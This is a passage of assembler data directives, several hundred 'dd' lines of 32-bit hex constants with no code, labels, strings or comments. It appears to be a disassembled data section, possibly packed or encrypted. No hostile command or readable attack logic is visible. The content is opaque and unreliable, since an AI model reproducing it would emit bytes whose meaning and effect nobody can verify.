0F2067B8Fh, 25ED2024h, 74DDB211h, 2952E006h dd 3B00186Ch, 6F387DE6h, 186EC134h, 299B89C7h, 81C03A96h dd 1EC4BB4Fh, 7AAB0337h, 2E416B89h, 0E94354E1h, 7895FD1Ch dd 8C7FBC98h, 333E6000h, 3F19BD1Fh, 8BC71A03h, 18ED810Bh dd 0EFB962C0h, 0DE7028Dh, 0E8F249BEh, 0AC8C2005h, 61712C04h dd 0D8BC82F0h, 1044A544h, 0F81A2200h, 0D3C2728Dh, 403880BDh dd 9C3E745Ah, 85007F23h, 50FA9CDFh, 0C4CC532Dh, 29D0692Ah dd 7178E743h, 0D18E2h, 0EB6735B1h, 0F2D5E9F7h, 42E1990Fh dd 0A1AA0320h, 0CC610B10h, 10CD6F70h, 0B5C120C7h, 8602DABh dd 51BE280Eh, 564B6B1h, 0FDC9AFAh, 0C200D4ACh, 349886E8h dd 2ABEF204h, 0DCA33D94h, 0F239FA84h, 0CEFD106Ch, 0E3908C12h dd 4B200908h, 54E4421Ah, 7417E9F4h, 4F807A11h, 4D1470D3h dd 5CA5932Ch, 53031311h, 18D4395Ch, 1E289CA8h, 45902602h dd 40DE1A8Ah, 0DE923B0h, 0D42EE23Ah, 0D8082A10h, 980AC80h dd 2C88BBFAh, 415A1F80h, 232EC8B1h, 0D4E8A405h, 4E853000h dd 58484229h, 0E1BCDC18h, 63CA008Ch, 0C09F3576h, 5F053BCFh dd 0F8552F6h, 3F918C9h, 4284B054h, 9DCB00Fh, 0A471BFh dd 0CA76FF06h, 2203A7E1h, 0E979A561h, 98489302h, 96DC1CF3h dd 801111D8h, 0F6C17AEAh, 2CDA5C9Bh, 7AF2BAB0h, 9C898500h dd 67A1C56Fh, 0C2E22545h, 4130E4C1h, 1D731F4h, 707C2DC1h dd 0CBAA9880h, 8D1DE9FEh, 3F9E0580h, 4A6428Fh, 38BD23E1h dd 103FF4B8h, 330B1D1Bh, 0CF8B31C0h, 66043A8h, 0D284AA7Ch dd 62751B5h, 0DC48A02Eh, 0A2C0EB2h, 0A4C6E928h, 17F6170Ch dd 1A08803Eh, 19C9DA8Eh, 0E4D4457Dh, 0A5496030h, 74D5AC6h dd 90F10514h, 998C9B33h, 0C0CB4329h, 9218E8D1h, 0FCE4E000h dd 98D1BE42h, 9C6A768Dh, 0BD8B3F20h, 7C647E2Ch, 7F03AD00h dd 35016384h, 0BE0A79FDh, 5026D6A0h, 1A056E81h, 58B37A98h dd 3AF33910h, 0C30391A4h, 1D48B2Ah, 0BA84E0C7h, 2F31DE79h dd 7823E03Bh, 6B4D2600h, 0B9096E8Dh, 187CF95Ch, 7957900Eh dd 2CA20458h, 8E2FB731h, 0C0E688D4h, 21FA6A36h, 0F0D41F0Ch dd 18372442h, 29458C43h dd 0F60F51F4h, 5F7F8325h, 81194D1Bh, 90556E84h, 47D0CC80h dd 0D1B0B17Bh, 244A187Ah, 5E241822h, 0A00EE946h, 0B140D243h dd 2D83DCD7h, 2010EE30h, 0B2155271h, 0A7C7242Ch, 6DB26190h dd 0E6430087h, 955218D0h, 911C1124h, 2F3C3197h, 4008BC18h dd 70BB44EDh, 400054FCh, 0CCA22793h, 0B89DE65h, 4241BA85h dd 44A94420h, 561E739Ch, 1EC2F52Dh, 5CA4D6EDh, 599E81F8h dd 0CC43FF65h, 3EFADAEAh, 8E0DED04h, 0CCA22379h, 0E330CFF2h dd 3E090C8Eh, 0CC19CB1Eh, 0B265880Fh, 0D2A3E08Bh, 72B51Ch dd 5E8427A5h, 18343B46h, 8084379Dh, 9DAA762Fh, 0E898799Bh dd 803444h, 0EDF75FD1h, 6B0553BCh, 91976500h, 2BA00C3Bh dd 0CBE21341h, 26540223h, 0AC785A72h, 92CAA083h, 0C508B0D8h dd 828302C8h, 0EC6A426Eh, 20B7BCC0h, 0F78C941Eh, 0B765369Fh dd 0CFDF00C4h, 491B7282h, 0F4BEA2F2h, 1D04676h, 0ED44C15Eh dd 8C20B550h, 10A03A86h, 280F0B7Fh, 48AB1A6Bh, 180938E4h dd 149FBFh, 59BAA953h, 26692ED8h, 78467624h, 0EA994601h dd 80149E37h, 0ADB78319h, 0FC17E95h, 0AC8DE67Ch, 0BE61CE20h dd 0A70C0A91h, 91C21F26h, 0ED640041h, 0E1B165FAh, 0C6E6884Dh dd 0C30077EAh, 0A917E8C7h, 7E678FEh, 10747CDBh, 50480B18h dd 8D7C7924h, 1284C180h, 14814D82h, 0D2E8ACB4h, 1F45008Ch dd 89554DD3h, 6458DDA3h, 2E8A10DCh, 6EA54400h, 0C71EC633h dd 9E380E66h, 0C2B60741h, 14321AFEh, 0E2F480DFh, 38DF25EEh dd 50A94A09h, 0F862664h, 968989F8h, 80845062h, 0D3E740BFh dd 181C19FAh, 0E93596DAh, 0A200F563h, 84743F82h, 3CF844ACh dd 0E400F2DBh, 0A069C82Ch, 0BC0B23C7h, 1FF31D59h, 80791120h dd 8672EF0Eh, 7E26219Bh, 2382F111h, 0F9421844h, 49072067h dd 4AB1442Bh, 0A02F5A31h, 0C600CFF7h, 933C83D8h, 9601FA17h dd 972528h, 35823391h, 58524138h, 8F61024h, 21793C40h dd 95B880D2h, 0A11980F1h, 5580EE06h, 0E1B41750h, 0F4B50676h dd 8CA121BBh, 4C4AC0C8h, 0C9DF3327h, 21A59B7Ch, 30E458C5h dd 7699FD60h, 862BBC03h, 0A522E588h, 5596F5C1h, 30B92C52h dd 2313CC18h, 808B2ABEh, 8358C130h, 0ED4C9840h, 24D80159h dd 16A4FC1Dh, 0D4D08851h, 7A64B0E4h, 0D62A0091h, 20433F09h dd 1305EF1Ch, 0C9964A14h, 1C9528E4h, 0A1C02698h, 58187BF9h dd 62269375h, 0FC9938E2h, 4C40A551h, 70D5038h, 0BFC00E59h dd 804D45FBh, 0B21C2DB5h, 0FACFCD02h, 0C485A3B5h, 74749EA4h dd 9D023346h, 0E04649BEh, 62920440h, 0F0C80E35h, 0D875C481h dd 0C4D06879h, 18C2DE8h, 0CD30EAF6h, 2B6D2144h, 8C81CC16h dd 79EE41E1h, 18EC7994h, 0C8BE00CAh, 0BAD0C710h, 1C987CADh dd 0BE11600h, 0F4B0519Ah, 789C0BDh, 0AAF6C61Dh, 28D679FEh dd 869EC4C8h, 0B6CB59Fh, 0C0CC2798h, 91F4959Fh, 0BA4E802Eh dd 24C50B97h, 1610B545h, 0F7B84086h, 0BFF45715h, 0A90E64A0h dd 0B3274777h, 913CE4C5h, 187A713Ch, 97201F7Eh, 7CDC240Fh dd 186018EFh, 59119DE0h, 6D0028ACh, 2D882F3Fh, 0BA94274h dd 70CC9DD0h, 18017064h, 79BC7DF7h, 422F7729h, 0B69F0C4Ch dd 16DC147Ch, 0A41E416Bh, 78004D1Ch, 2735177Eh, 73681B7h dd 8F5D9C04h, 375F9263h, 0CDB6FCE1h, 0A108D017h, 4095B518h dd 160559D9h, 1FA3643h, 0C54AE097h, 86B9B879h, 93C76F4Bh dd 472726F1h, 0B94840A8h, 0F612B091h, 28E2CC42h, 8530E8F2h dd 339E0078h, 0A965A753h, 265EFA25h, 0A046700Fh, 0C9B2F60Ah dd 4AF4BC6Eh, 314674FCh, 5F135A1Fh, 56FE520Dh, 1AE4C85Ch dd 2B00FC90h, 96AF670Eh, 7E3CCB47h, 9A6609BBh, 2C658DDCh dd 0A0607CE4h, 9A728134h, 11505D01h, 0F788941Fh, 4C0209AFh dd 0E45284h, 0FD71F8BBh, 0B7A62ECh, 969B9C6Fh, 7FD86C10h dd 47E0A300h, 0D7BFD575h, 7E457C9Fh, 0DE685AB2h, 797481ACh dd 262088F2h, 0C2EE4EDAh, 0D8514D18h, 0EF18D1D1h, 0E293012h dd 0D0CD9004h, 860F2B00h, 2A001887h, 1E62DB2Fh, 5C7D3B38h dd 7BF83C7Fh, 17CA168Ch, 0C0F09B4Bh, 0B3CAF5EDh, 0A45A09E0h dd 7CE6F0BEh, 20E4F85Ch, 0DD172D77h, 12F85466h, 0B6CC4380h dd 18F75E60h, 0ADCFACAh, 6F71764h, 7C0E87F0h, 40DEE12Eh dd 3D46C1Eh, 0C7658CA9h, 5C94F4E0h, 89AC00ADh, 4936E300h dd 92182FBFh, 0F4C20678h, 0E8BEE5F7h, 0E47E0520h, 0BFED153Eh dd 43049407h, 823A9AE2h, 30644608h, 0B151BE0Ch, 48A4A0CFh dd 0D2EC143Eh, 8049608Ch, 5299683Ch, 70420931h, 0C8022602h dd 7654CCF0h, 86131B90h, 0BB0E7Fh, 0C6A9405Fh, 0A658931Fh dd 8E2DE858h, 5B780F00h, 25762099h, 0C4F22062h, 0A7C1102h dd 204483F4h, 2D72F9B7h, 528098C2h, 280561Dh, 44D11E13h dd 0CA44BC47h, 5AF94A60h, 0E8D1754Bh, 0F904B5F4h, 0C5DB888h dd 0DBFEF6Fh, 6A268D4Ah, 388F8CA6h, 0A0917242h, 0E1100374h dd 0B318CD77h, 0A5B90E1Eh, 0B029C015h, 0D7C4D28Ah, 2903DA7Eh dd 0C58FF493h, 81ACE1C2h, 0A547F8D8h, 60D0C47Ch, 0A158801h dd 781182F6h, 4E1C2EA4h, 0C4EE6CE0h, 8512C9B3h, 80986E12h dd 0AE421975h, 0C8BCD8E0h, 0E8B9A593h, 0E8192ED1h, 505CB9B5h dd 1E505B0h, 0F0013B93h, 79DD823Ch, 613FD100h, 0E0C6EF01h dd 0AC76BC8Dh, 23702E2Eh, 45AA007Eh, 0F3DE5FB3h, 79BE1D05h dd 0FCE07595h, 3CE62F38h, 0FA103CC7h, 89ACB0D5h, 5E90B800h dd 0FAA68649h, 17A52952h, 1B5000F0h, 2AD661ADh, 6300B273h dd 44C1BB82h, 330245A1h, 84903FC7h, 0B76888E5h, 415012BFh dd 0EE180D7Ch, 0F6BD7A09h, 67A0D9FBh, 8480DBBEh, 1466EC43h dd 0FAF7DD00h, 6E69FEA8h, 0B300122h, 466B2816h, 0EC4428E0h dd 0E7028C2Ah, 0EC4215BCh, 3F42C0A2h, 203D038Fh, 78CDA96Dh dd 232C2EA5h, 5E17002Bh, 2A85159h, 0FC5DC90Fh, 604909BEh dd 4B628E30h, 6B41F8Ah, 19DE9D71h, 0CC6F4A7Ch, 0E57822D0h dd 0F430D479h, 3A373905h, 54C06089h, 97AC8456h, 0BE805435h dd 493788B8h, 0F672258Eh, 0B086D400h, 0E62F91CDh, 0C0406D08h dd 6EBC565Ah, 0F80C3B05h, 8CB0B952h, 0A6AB1D77h, 2EE08084h dd 80245905h, 0E1ED4A27h, 8896163Ch, 3E6081B6h, 41E6C579h dd 0D560D994h, 0F2A47223h, 343930CFh, 3837160Bh, 6E88103Ch dd 0C8825442h, 804CB41Eh, 8E430E4Dh, 5658A617h, 6C6F00B3h dd 7D18C11Eh, 40A44B08h, 0BE46CF10h, 9D00E398h, 85A6692Ah dd 7D80B9E5h, 8A4509F8h, 900406CEh, 0ECB4C498h, 8CD0F848h dd 81A07300h, 0DBE710FEh, 23C42F95h, 0C860C84Dh, 0B4A28A48h dd 0BA093D6Ch, 8CD875CDh, 0AF43A901h, 37965679h, 0AD2DB187h dd 0D223A175h, 0E563C8CBh, 9339581Ch, 0B7BA6185h, 0CF88B8CEh dd 0B5DA0DC0h, 0FC09093h, 42114C10h, 0B8DBD625h, 9C9B4E80h dd 0B2065DC0h, 990ECE41h, 0C0BADE89h, 0C0268553h, 0C8715A10h dd 0D1023CACh, 0E73B344Fh, 90B407Ah, 0C3490CDh, 41382B57h dd 39F3B679h, 906B4E4Ch, 0A3AC6712h, 302DA290h, 5D0468C0h dd 8EB55441h, 0A31990C0h, 1C896F0h, 5008241Fh, 4E102831h dd 79C8B88Bh, 561E50C1h, 0CD04213Ah, 0B39DD471h, 0CED0E900h dd 779C35E4h, 0A2D92FE5h, 0D07E40C2h, 11FC97E9h, 60218ED1h dd 7906A920h, 0C07A6F1Dh, 0D9B6891Fh, 2ED9FCF1h, 48046018h dd 0F1930419h, 0DE9A2881h, 78729601h, 0BD1F1884h, 5A619A9h dd 85ADF192h, 0E0C8A67Bh dd 754746Eh, 12C7652Eh, 2024C03Eh, 924A70E8h, 818420E3h dd 0FA454211h, 0F810688Ah, 0D7924AAh, 645B25C4h, 25E41D70h dd 4C00EAE1h, 26B664FEh, 91341D95h, 6C1280D3h, 701E3975h dd 0BC230455h, 4CD9171h, 9082A80Ch, 93A620C6h, 0EC0255FCh dd 9079847Fh, 44D0D48Bh, 0E12040CCh, 65A5754Eh, 8276399Ch dd 0F88FE338h, 353742C1h, 0DFE14282h, 948014F2h, 0D8201AE2h dd 114A10D7h, 0B8A51685h, 3EB084A7h, 38147313h, 903C1D77h dd 5C9E5AD4h, 0CDF65282h, 0B13C1057h, 0DA12481Dh, 0A1FD7C00h dd 76E159BAh, 0FCF3D891h, 90382260h, 9D2E3D00h, 27DB8628h dd 0B6081684h, 0B3BCA6ACh, 0ACA3F00Eh, 2E4B29h, 8BEB2740h dd 0DF01D6E6h, 71A86802h, 0BC66246Ch, 646AC2E0h, 4338B708h dd 4A8C8209h, 2C0ADC3Eh, 1013E690h, 48D060FEh, 0AF5B2085h dd 59AD6C4Bh, 60FCF3BCh, 9A7593Fh, 372B9933h, 0E7919C82h dd 0A2FA8E01h, 0F7054C68h, 5C6E81Fh, 0F9D90BF4h, 0A34B86Ch dd 0F12DA794h, 0AC5580A8h, 629B4208h, 0BB2A3903h, 0C98EC4C8h dd 788DBD12h, 2AD02B1Eh, 8C76083Ah, 68459F00h, 0A69D1FD2h dd 3CA8020Ah, 26617DF7h, 465EF054h, 0C90E007Fh, 2B4576B3h dd 9FD0920Fh, 58E5B012h, 0FB617A64h, 0D8F9D63Bh, 0F2317104h dd 38408C01h, 0B6F19336h, 84267CF1h, 50FE39F2h, 0C6B04D00h dd 0B7F952F6h, 0E2BDF880h, 2498DA36h, 0AEE11E05h, 94E91844h dd 0D80526ACh, 3A91E56Fh, 7006DCFCh, 0C10F9DE7h, 730EF07Ah dd 0C04E3F65h, 481D2943h, 93DE1D90h, 0F4578534h, 1D6C12BCh dd 4A1C408Ch, 0B615F8A8h, 0D3C9AC96h, 0DD2E5090h, 57A6B900h dd 0B35E5149h, 0D95210D6h, 0F9B70681h, 0BE60213Eh, 26666084h dd 912D5280h, 1D10687Eh, 0B0A41Fh, 27495611h, 0FDFD9DCh dd 32195103h, 0E875B2BBh, 1793EB7Dh, 303D380Dh, 2D631E9Ch dd 6AF068E5h, 467CE060h, 225B007Eh, 0F3A95904h, 61522570h dd 0D9C71881h, 0BCE42CA5h, 842E8C32h, 0E1114C1h, 0A7014712h dd 0BCC8B040h, 0B6AC4B7Bh, 0F38FB0C0h, 245E02EEh, 11C1F52Fh dd 0F85B844Ah, 1C38C70h, 0BBB4DD4Ch, 206C91D3h, 28509280h dd 102C1BFCh, 4674189Bh, 0E2080082h, 4174D346h, 9DB716CCh dd 8DCC0515h, 181CB486h, 465C089Eh, 0D27C04ECh, 8481A7F2h dd 5C321510h, 97E7BEE5h, 949B5E00h, 2B259F8Eh, 880FD806h dd 0B52201C4h, 5E8069DEh, 1A9559D3h, 756D0E6Bh, 468FE25Ah dd 0BCC43E00h, 0E086EA6h, 8E07B963h, 0FB16C183h, 99C2E1DAh dd 0EF40D9BAh, 32B489E2h, 0BE061E00h, 3E9F5ECh, 0FD93B27h dd 0AEED6F86h, 17A268F3h, 3B695D30h, 89061915h, 660E498Dh dd 8C665E00h, 85B58BD9h, 8914CE08h, 0C13F1C6h, 4C1F603h dd 5B0C840Fh, 0E56BEF7Fh, 9EA90D07h, 1EEFF066h, 0B7030F61h dd 8D95FFFAh, 0BE6A5B1Ah, 4F00856Bh, 0AA95E9ABh, 8C0D25A4h dd 5E6083C7h, 209D8BD4h, 612D2CF5h, 1797775Bh, 2C831D11h dd 99E82B9Ah, 0E91E88B9h, 523EBB64h, 3114E258h, 1B5412Dh dd 343D0030h, 0F01ED008h, 0E2435B38h, 54BE301Bh, 0A2BA8800h dd 9A683E6h, 1AF8A385h, 5C51E968h, 79F1F9DDh, 5A591815h dd 0EE56EB3Fh, 4A3A80FAh, 5D029225h, 8B8DB270h, 440E47C0h dd 5D2D601Ah, 63E907B1h, 9E8BB247h, 0C55FD84Bh, 601AC401h dd 19A601h, 0B54C2C09h, 0DF985C7h, 11F582A0h, 6036F624h dd 23B803DEh, 9DBD8BAFh, 0F0CF5086h, 1D8D0629h, 32817E10h dd 0D00C14EDh, 850F0D68h, 9C914770h, 0E51814F1h, 0A802E6F8h dd 0FF5436AAh, 57328585h, 0D2E8E4BEh, 80C53C3Bh, 2BC0A5CEh dd 9E6DCAh, 7C13D98h, 5F960EEBh, 61BD0315h, 0B5FF1487h dd 66600925h, 8D02838Bh, 61CF2465h, 26C108CEh, 8980F1Fh dd 2489536Dh, 89DB4585h, 5B82905Fh, 29002C55h, 0D4172D9Dh dd 0DE0BF70Ch, 655FB05Dh, 601BC419h, 14FF1B0h, 0A19CC92Fh dd 20F98BFCh, 7DD6E19Fh, 8758D1BAh, 7AF0C74Dh, 0F067F6Ch dd 0EE89B35h, 0E706001Fh, 7B690B21h, 0E200DA4Ch, 0A05237EDh dd 0BAEBEA2h, 5E2F70C7h, 350C0706h, 2B2D68C4h, 0F6F50C19h dd 0F02D0009h, 0CF681FCh, 3E1DDF39h, 0E90F714h, 0FB276937h dd 8531F270h, 222651B1h, 0CA4F661h, 4D00DE44h, 9122A4B9h dd 3137410Ch, 75749F16h, 0DF810019h, 5B1DFE56h, 46BFB47h dd 0CD059B0Fh, 41AB0E5h, 62D21EAh, 7A2910E8h, 0FC1300DFh dd 0BC59B84Eh, 6A01AEE5h, 0D6BEAFF7h, 2D0663Eh, 0C4D6B76Dh dd 89B53141h, 0E95FA550h, 0FFF73849h, 76BABDEh, 0A5663A02h dd 0A39DC18Bh, 0C08B1411h, 61F30F21h, 1D70FFEBh, 0AD458AB0h dd 8582F217h, 50AEA6DDh, 3582D2h, 489F7EFh, 78279B24h dd 0BE24AC92h, 2528BDF5h, 0B368A829h, 1C757889h, 91CF8469h dd 292D80C5h, 4E6894ADh, 0FF140C01h, 615A99F4h, 0CD6A4020h dd 6F0AF1ADh, 0BEAC3AE9h, 0FC4CC503h, 0F05E871h, 325AE51Bh dd 4A01EF2Bh, 442011B5h, 24990393h, 8EB42203h, 0C01C88F9h dd 8C57034Ch, 6DB19905h, 0CC040153h, 83001E65h, 296005C0h dd 21B98512h, 1F8DAC21h, 0C8616102h, 508F8125h, 4F71BF66h dd 383AD555h, 30011823h, 0FF32D0A0h, 5AD56A97h, 0F3DD4CCEh dd 0BE4958E6h, 416FC804h, 92888D0Fh, 25951089h, 20FB5B15h dd 0D9B50B91h, 5F75226Bh, 8C065EDh, 4D952948h, 0F926D221h dd 0A1ED14EEh, 209C289Eh, 8D0F3181h, 0F594B69Dh, 190D31AFh dd 0F96FD3FFh, 0B8ACC9h, 95E1ACCBh, 116048F2h, 2E830F25h dd 18CC69Eh, 859AC90Dh, 309B628Dh, 0BF8026A9h, 2EE202CEh dd 90CE965h, 906C5F0Bh, 0D83E25FFh, 0A0B50EEh, 5D5733E7h dd 4ACBD7E8h, 0DB5D7F01h, 0E5AC9F5h, 44F1FCh, 6BD8A4FFh dd 5E9C172Bh, 86E3E5B1h, 0F8A9046Ah, 95A59D8Bh, 0CFB6BB3Bh dd 5579A4B0h, 0A7ED9200h, 81D25209h, 9401E0E3h, 0F700F401h dd 88670EAAh, 1D4EC77h, 0CAA1D1BFh, 70DB0B41h, 0FC88C846h dd 4BBD1483h, 0DE679801h, 291A7D84h, 511BC63h, 8669AC13h dd 0B0A5BBE5h, 2DE0EA76h, 0D9015650h, 87CEE46Ch, 0E5717C5Ch dd 47395807h, 601AC494h, 9B3BE82h, 0A3AB398Dh, 2053202h dd 18711809h, 530F130Dh, 0E7D0012Bh, 885F3235h, 829952Ch dd 54AE30E9h, 2F551FDCh, 0A40985BFh, 86F2732h, 0F804A6A6h dd 368D8D59h, 401DB720h, 231C8116h, 0D9B9FEFFh, 16BCF8h dd 8740938Fh, 0DB8C662Eh, 0D6E1F6B7h, 84607501h, 0F6E81757h dd 5B1870E2h, 0B7AFE7Ch, 3C6C7101h, 6BCE6A5Fh, 79D1F9h dd 5C44DDCh, 962E8690h, 0A0044E6h, 0B255199Ah, 27F227BEh dd 2D183C5Eh, 30E35090h, 1088085Ch, 0D7CA0015h, 0E07A47DBh dd 560155BEh, 0F5E2B34h, 762CE831h, 0C3BBC584h, 8AF0142Fh dd 0FB50698Bh, 8803A3CEh, 90585A5Fh, 0F1DAE360h, 3F64A195h dd 96E92E61h, 0B0FC8930h, 7200143Dh, 861F7020h, 51AE0743h dd 9BE65FFCh, 6074CD7Dh, 9D89D0D8h, 0F8821A94h, 0C05771E4h dd 8216B540h, 0F6BF8103h, 60D8B699h, 0B73E7BA2h, 0FC78C8BAh dd 66068C17h, 0F80BCCB0h, 429206Ch, 0FEB78B7Dh, 1201D647h dd 8D31A4E5h, 4CA007D1h, 3A230CCAh, 0F736E8C1h, 1FFD910Fh dd 0E292BD31h, 1A23923Ah, 3F6F4600h, 16D43CB3h, 8D82B90h dd 5082D996h, 7B241C89h, 60E97006h, 0F98841E3h, 8D9D111Ah dd 612C352Ch, 78A6605Dh, 0DE0039E6h, 44EFEEABh, 0C619EDh dd 18572F3Dh, 61260F9Ah dd 0BC6AEB96h, 13500DEh, 9D2D9295h, 74BD8D09h, 79A25B9h dd 0EFE0A5CDh, 4077446h, 5DBD89A4h, 77B00B1Bh, 0E40E9DE4h dd 0BF28ACh, 0DEA6F8Bh, 0F20BEE59h, 7C2648CDh, 0FAA4663Eh dd 35FF2D5Bh, 6AF5811Fh, 3861272Ch, 78212025h, 204AB83Ch dd 2B7E02BDh, 2C44CEFFh, 88623124h, 46743AA6h, 977001Dh dd 2CC99F82h, 0EF12000Ch, 1C68138h, 2148D5F2h, 7630D2AFh dd 1E3BDBh, 6AFC4FC8h, 5EAF97ADh, 0F02DB328h, 4A9E9348h dd 0A2043F6Eh, 95F535CEh, 87F6EA95h, 0A9C742B0h, 0FE49B000h dd 0BE50D327h, 2E7613EDh, 421A047Fh, 2EBC9460h, 1C2352h dd 16A8DBAAh, 7A16A0BAh, 0C50989B3h, 2C58AE6h, 0C616F812h dd 0C38EDAEEh, 0AD800720h, 325DE881h, 2E88D038h, 0D0EA5816h dd 432DF0DFh, 306B5F00h, 18DAE269h, 0E9B60287h, 0A5E073CAh dd 9F4524F2h, 1A888F4Eh, 0B5B91CC0h, 0FA133977h, 1DA59A62h dd 9F078B0Fh, 80199178h, 0B7F46D58h, 39109A0h, 98A9F9B5h dd 1FC10482h, 0E9598307h, 0B4052C7Ah, 8188343Ah, 3E9B3BDEh dd 190863AFh, 0F601D674h, 0AEFE9E1Bh, 7F30FA6Dh, 18FD208Dh dd 3723615Eh, 231484D4h, 0F81FBE00h, 34E9D181h, 61648C17h dd 0E87A1D9Dh, 933FC9Bh, 0D68EADABh, 5A5B92C1h, 0F0ACC069h dd 2872C27Dh, 20DD6D90h, 2B7F2DF9h, 0E3806E99h, 199199ACh dd 0F3420052h, 0F11854CEh, 9A5E6C27h, 0B1BE0565h, 0B89C3D03h dd 603001ECh, 0E6ED2BA9h, 0DB242C4h, 0EEBF96A0h, 561A7C0Ch dd 0F56746E9h, 6D597C5Bh, 0FC4CD41h, 0C0C9C721h, 0D0F78366h dd 2A05B589h, 263909B9h, 0D90CFD8h, 0BD85C706h, 0F70A0C09h dd 5A74F493h, 17465Ch, 9D123A36h, 26492DBFh, 0BF5589Bh dd 0C47F1FF1h, 59299352h, 1D94C0E2h, 0A0858939h, 0F114B031h dd 640EF3C2h, 34A25037h, 9F800D04h, 59FF203Ah, 14A8E685h dd 0FB10A8Ch, 22C0582h, 7287D681h, 76B713ECh, 8AD780EDh dd 99F704FAh, 0F9427A2Ch, 3564CBh, 45C2EE14h, 2238E396h dd 0E1405D00h, 11126661h, 0DC910692h, 3109E990h, 446C3900h dd 70DD7B08h, 0AA5F5E32h, 9200B86Bh, 5F507F22h, 7CB3F28Bh dd 59ACC078h, 234A1F84h, 29D8D306h, 323BFDEEh, 10C85C2Ah dd 5E262E61h, 762D90C5h, 4510FE62h, 7FBE001Fh, 5B4AD7D2h dd 0A82EC76Fh, 73069F2h, 5A0033EBh, 7EDB90B0h, 1FF2AAF3h dd 6C4C7F7h, 910E39B5h, 79E319ECh, 18C70BB6h, 80FCB7C0h dd 972A530h, 51059FB7h, 5FF3BF0Fh, 0EFE1E8F6h, 0CC19CC68h dd 99360228h, 2D041120h, 0FF8922E9h, 789C1637h, 0B46059E4h dd 0E185F7Ah, 0FC7FA312h, 0FB2FEED4h, 19910F1Dh, 0FF144494h dd 290581DEh, 0F41465B5h, 1A41F96Bh, 23C21B6Ch, 1450D1BDh dd 6D78D693h, 2D0A0289h, 0B305F9C5h, 0DCF2FF40h, 0DD6B3FBCh dd 4861D04Dh, 0C7CA5090h, 601C448Fh, 2A64D56h, 0A909BC5Dh dd 58636CB2h, 33198D85h, 4DBD006Dh, 5B2256FBh, 8F100F3h dd 58283F1Eh, 2CD2927Ch, 7F31860Bh, 0DCFF068h, 5A12248h dd 52817988h, 6941EEB1h, 0FF69086Dh, 2F03CD10h, 35E79050h dd 0E1B11FC5h, 530B84E0h, 5B2FC27h, 0FA8B9642h, 24048C05h dd 34E00FA6h, 7D048E02h, 602CC140h, 89CE8580h, 0F453F1BDh dd 5CF8C861h, 641069E0h, 32CD5F82h, 0E101D591h, 5AA6380Dh dd 0EABDB463h, 0A4B2DB2Bh, 56E498CCh, 0E85CD3FFh, 2CA580F8h dd 26571A8h, 335EDE50h, 56D00DBDh, 0A66A94B4h, 85859DEh dd 454B3E1Eh, 0B20803E9h, 0D6D9CAABh, 47BD0BA5h, 20F19C8Eh dd 2CC5E180h, 5E619D88h, 0AF6FFB0Eh, 10182713h, 0F02DC3BBh dd 71C0919Bh, 685B27CBh, 60226E5Eh, 5EF0AA56h, 0CECBD83h dd 274572B6h, 0A38379DFh, 134C6BE9h, 15C71F5h, 0D1689A50h dd 8556944Eh, 12F8312Ah, 8F4EE95Eh, 0CA1488E3h, 8FAE0296h dd 389369BCh, 6FFA225Bh, 8D1073Bh, 0F401027Eh, 4C218FB8h dd 30A7D905h, 0C4FB7251h, 6F158516h, 0A565263Ah, 44B82B2Dh dd 278B6B16h, 60E74DDFh, 52E7A109h, 8F98B002h, 5BF5AE65h dd 1F75AF10h, 3F8D80DDh, 0BD5B33BFh, 806A015Dh, 0B42FC4FFh dd 19550956h, 0B48B8BDEh, 690F6DDFh, 0ADB55782h, 48E931E9h dd 0B907C4E9h, 6C9FBF4Dh, 3A9463B5h, 2CFD2281h, 53059D3Dh dd 56B18D89h, 9B0D84D9h, 0D950C07Ch, 6EE056h, 0DF81C760h dd 322337E6h, 0F418D5EDh, 0E4250EEBh, 0B463771h, 518051FEh dd 5BEA12EEh, 0B2205E4Eh, 13139AC4h, 7A226Fh, 5B476271h dd 0E61683A6h, 46D65802h, 16A120FEh, 6B4F999Ch, 25CD7FC3h dd 0AA3B0760h, 815000EAh, 0D7D5BFE7h, 8C9E5E62h, 12904626h dd 0BA21175Ah, 0A6C08FDAh, 61F8D5ECh, 3A80ED99h, 4CB7F086h dd 5A70E5D6h, 0D82B265Eh, 1D46744Ch, 9743A500h, 4B4F6DF5h dd 89BE943Ah, 0AB93F98Bh, 0B77F6385h, 0F09A3CFh, 0E7104831h dd 585A0C63h, 61930424h, 88574FDEh, 452D259Dh, 7094FD7Fh dd 0E252F901h, 5937CAF5h, 15AC546Dh, 4AD3008Ch, 858BFC60h dd 149D2DE5h, 0DC0B9C5Ah, 83711E02h, 0F5B0A3DBh, 0EF7091F3h dd 15E87528h, 0C2E0F1BBh, 23820F14h, 0F2B72476h, 0BAE28D6h dd 7D3D37DAh, 5200FD44h, 82DE7EACh, 6BB26Eh, 0AFE01D05h dd 261C9981h, 0F2EC390h, 4449898Ah, 7DE90066h, 0DC7047C1h dd 5F5BF221h, 0A8426D48h, 339920A2h, 3A93B6F8h, 0BF851D1h dd 4AFE0222h, 68EAB034h, 17DF65E0h, 0C0CF3D48h, 0A03391BFh dd 0C2D49054h, 7A84CE22h, 5046569h, 8E0FB844h, 0BC649089h dd 0E361E8F9h, 0B43CBF25h, 58260458h, 26A66694h, 565F9818h dd 0B2CC8823h, 0DC0294C3h, 17026CE4h, 0B9EA13A7h, 0F6655607h dd 3FA9AC00h, 0FE25C0Dh, 0ADF257Eh, 7091F990h, 0EB942600h dd 78D6925h, 194300A7h, 67DDF04Ch, 78B860D1h, 0C259516h dd 781D488h, 0A02905EEh, 0F1D76013h, 0D5AB565h, 804CDA4Ah dd 0C078EDA3h, 9DB700C7h, 1314507Bh, 0F9B46061h, 0FA582823h dd 0B7E9070Dh, 0F0B271FFh, 0F18BCD6Fh, 0D645F6B4h, 0A048A7EEh dd 0B1250E9h, 0B60C2ABh, 5CBFFC14h, 85FA7EA1h, 22612Ch dd 0C429DD0Bh, 5B2C400Fh, 2913797h, 2792972Ah, 38896641h dd 0D62B8F2Eh, 0D700DA6Fh, 0B8D88BBBh, 21B67133h, 0B7EA2CC5h dd 0F4A9A17Eh, 13361860h, 0B324E987h, 1F072DE5h, 8B149196h dd 0FDF24A9Ch, 0B120AF51h, 29315925h, 0B795AA8h, 35EE5D17h dd 60B54DD5h, 0F7FA2F2Ah, 4019BF02h, 9D6591CDh, 801A115Dh dd 3219B1EDh, 0F38525CEh, 0C6140DE0h, 219D890Bh, 90F54D12h dd 118F8E16h, 31F1324Fh, 0BD806EE6h, 93B3B881h, 3C46D26h dd 90895DA8h, 17708453h, 0C6A8016Bh, 0B660569Eh, 0F9B63084h dd 0ED9617B2h, 910FFADh, 740092F2h, 